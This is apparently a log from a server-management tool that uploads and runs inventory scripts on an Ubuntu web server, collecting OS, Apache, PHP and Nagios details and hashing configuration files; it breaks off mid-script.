4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-04-02 13:12:56: Establishing a connection
2026-04-02 13:13:06: Establishing a connection
2026-04-02 13:13:07: Performing Server Status
2026-04-02 13:13:07: 

PUT: /tmp/pkp913456

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2026-04-02 13:13:07: 

chmod 755 /tmp/pkp913456; /tmp/pkp913456; rm /tmp/pkp913456

2026-04-02 13:13:08: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.4 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority
/swap.img                               file		4194300		768		-2

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
rog

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-106-generic



2026-04-02 13:13:08: 

PUT: /tmp/pkp824750

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2026-04-02 13:13:08: 

chmod 755 /tmp/pkp824750; /tmp/pkp824750; rm /tmp/pkp824750

2026-04-02 13:13:08: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2026-03-05T17:31:54
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 114753
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root      114753  0.0  0.2 257968 37964 ?        Ss   Mar18   0:39 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 proxy_module (shared)
 proxy_html_module (shared)
 proxy_http_module (shared)
 proxy_wstunnel_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)
 xml2enc_module (shared)


2026-04-02 13:13:08: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'rog',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.4 LTS',
  'rel' => '24.04.4',
  'mac' => 0,
  'distro' => 'ubuntu',
  'swapfile' => '/swap.img',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'mime_module',
      22 => 'mpm_prefork_module',
      23 => 'negotiation_module',
      24 => 'php_module',
      25 => 'proxy_module',
      26 => 'proxy_html_module',
      27 => 'proxy_http_module',
      28 => 'proxy_wstunnel_module',
      29 => 'reqtimeout_module',
      30 => 'rewrite_module',
      31 => 'setenvif_module',
      32 => 'socache_shmcb_module',
      33 => 'ssl_module',
      34 => 'status_module',
      35 => 'xml2enc_module',
    ),
  ),
)


2026-04-02 13:13:08: 

PUT: /tmp/pkp290804

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2026-04-02 13:13:09: 

chmod 755 /tmp/pkp290804; /tmp/pkp290804; rm /tmp/pkp290804

2026-04-02 13:13:09: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2026-04-02 13:13:09: 

PUT: /tmp/pkp637153

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2026-04-02 13:13:09: 

chmod 755 /tmp/pkp637153; /tmp/pkp637153; rm /tmp/pkp637153

2026-04-02 13:13:10: 


[php8.1]
php=/usr/bin/php8.1
fpm=
version=8.1.34
[php8.1]
php=/usr/bin/php8.1
fpm=
version=8.1.34
[php8.3]
php=/usr/bin/php8.3
fpm=
version=8.3.30
[php8.3]
php=/usr/bin/php8.3
fpm=
version=8.3.30
[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.18
[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.18


2026-04-02 13:13:10: 

PUT: /tmp/pkp527747

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2026-04-02 13:13:11: 

chmod 755 /tmp/pkp527747; /tmp/pkp527747; rm /tmp/pkp527747

2026-04-02 13:13:11: 
(gzipped output)


bin(/usr/local/nagios/libexec/check_ups)= 7fc188439261052a0089a7103b4ca5f0
bin(/usr/local/nagios/libexec/check_nwstat)= cad9eb4c84fade3e778388d1c397ca44
bin(/usr/local/nagios/libexec/check_smtp)= 58f20f1be6fe79ceb18495cdc8af30df
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 60fd670663059fda22ad3c69f060d28e
bin(/usr/local/nagios/libexec/check_apt)= 7d7bd3a78eeb8cb1cbff98658f6a2604
bin(/usr/local/nagios/libexec/check_swap)= f7b40653d50c41423fb55e1ef78fbd03
bin(/usr/local/nagios/libexec/check_real)= 10c4f762260b9188703147d7e2bf808e
bin(/usr/local/nagios/libexec/check_users)= acf263ca6679b08d634fce866a719390
bin(/usr/local/nagios/libexec/check_rpc)= 877c0b3732333358999e1ab17aed7a84
bin(/usr/local/nagios/libexec/check_ntp)= 3f27060ad856c95ba539b4a5e0ca9458
bin(/usr/local/nagios/libexec/check_disk)= dfb1f1e3c3262efcdd11d7bb366e9329
bin(/usr/local/nagios/libexec/check_dig)= 72f7fedb00b83dca84ddbedc6b1a9e65
bin(/usr/local/nagios/libexec/check_ide_smart)= e4282cdf643f611222dea7ed06ba7b1f
bin(/usr/local/nagios/libexec/check_breeze)= 17f1ae418f73ae66c13aedb92b0d7106
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_tcp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_printer.php)= e1b42354c26a7ee89ba22b3af8af1578
bin(/usr/local/nagios/libexec/check_ntp_peer)= 1012bb69dbe28a20c47f83cb8502829c
bin(/usr/local/nagios/libexec/check_php.php)= e6599d9e81018dcef125f7d7e05beaf9
bin(/usr/local/nagios/libexec/check_autoupdate.php)= 67b27ce05c96a1d7aeac8c220cd103d5
bin(/usr/local/nagios/libexec/check_sensors)= 93f23897502fce95ac37b42b63f8a121
bin(/usr/local/nagios/libexec/check_ntp_time)= 93818330bf26c2823c1985254019368d
bin(/usr/local/nagios/libexec/check_disk_smb)= 20df89ee7110f042d6119b51b6b47fcc
bin(/usr/local/nagios/libexec/check_file_age)= f9c9e8f272624bac2336c0dc261aa4f1
bin(/usr/local/nagios/libexec/check_overcr)= 31e5b6e8d961a2c25c2cdd4febef9a3d
bin(/usr/local/nagios/libexec/check_by_ssh)= 55b5fda59ebdd27200d63a13133113c2
bin(/usr/local/nagios/libexec/check_nntp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_mailq)= 28bc32f5bed1017ecdb469e69ecb59ac
bin(/usr/local/nagios/libexec/check_ping)= f33d99f6a394c5341f7bb6390e2f44c2
bin(/usr/local/nagios/libexec/check_flexlm)= cef725bcbe5623da973584232b0fb1ea
bin(/usr/local/nagios/libexec/check_time)= 75ff7b75649deaa34ba5a8115e7bc1ea
bin(/usr/local/nagios/libexec/check_mrtg)= 40c6d0f71161c67f491aa11f57715867
bin(/usr/local/nagios/libexec/check_uptime)= 0a77a9f937bfb2ab6607abdd74e62f41
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_ftp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_nagios)= cd16ecade3f59c4bedac7c3038b411b9
bin(/usr/local/nagios/libexec/check_udp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ifoperstatus)= a7f0a5a6623cb153cd11cc419088c74b
bin(/usr/local/nagios/libexec/check_log)= 9292b8656dd3ebc9f9cb3f0acdf45cf7
bin(/usr/local/nagios/libexec/check_imap)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ifstatus)= 13135b7e17d4daf1fa87d7cf2c4e4f22
bin(/usr/local/nagios/libexec/check_icmp)= b0d58b5701f7b86f7738a43f175ede4a
bin(/usr/local/nagios/libexec/check_oracle)= 9c5171e12f0b1fe84b51eff80842fb66
bin(/usr/local/nagios/libexec/check_ssh)= 0dd020c1f83941e7b62063c2a1d2954d
bin(/usr/local/nagios/libexec/check_wave)= 98dd0b7a7884c98ec62701568047e010
bin(/usr/local/nagios/libexec/check_pop)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_cluster)= 08aeb28f2a6b3dceddda1dd90918388a
bin(/usr/local/nagios/libexec/check_load)= 7953042df164e8e47234a955376f77f4
bin(/usr/local/nagios/libexec/check_procs)= 0891055bb921943995cbbd8e9b7218bb
bin(/usr/local/nagios/libexec/check_nt)= 31d152e80f15be7ec2cd7f38fcd17d7a
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_dhcp)= 66b6794ccc1f2702910eb2cf4503ada0
bin(/usr/local/nagios/libexec/check_ircd)= e006b8d46149f00c2e371ebd3176d283
bin(/usr/local/nagios/libexec/check_dns)= 2d442b7cf8b203520555e93b77b009e5
bin(/usr/local/nagios/libexec/check_clamd)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_dummy)= 99113a54b487e0c637b003dec276d294
bin(/usr/local/nagios/libexec/check_sensors.php)= 172c8cb7ebe7199e4f589ed2f4d4d46d
bin(/usr/local/nagios/libexec/check_http)= a3764b736da28a6c9d17d07b65887e57


2026-04-02 13:13:11: 

PUT: /tmp/pkp602858

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2026-04-02 13:13:11: 

chmod 755 /tmp/pkp602858; /tmp/pkp602858; rm /tmp/pkp602858

2026-04-02 13:13:12: 


status=ok


2026-04-02 13:13:12: 

PUT: /tmp/pkp796340

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-02 13:13:12: 

chmod 755 /tmp/pkp796340; /tmp/pkp796340; rm /tmp/pkp796340

2026-04-02 13:13:12: 
2026-04-02 13:13:12: 

PUT: /tmp/pkp696449

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/pjy_home_us.conf')
    show_file('/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb')
    show_file('/etc/apache2/sites-available/theyoungdesigners_stage.conf')
    show_file('/etc/apache2/sites-available/pjy_alive_us.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
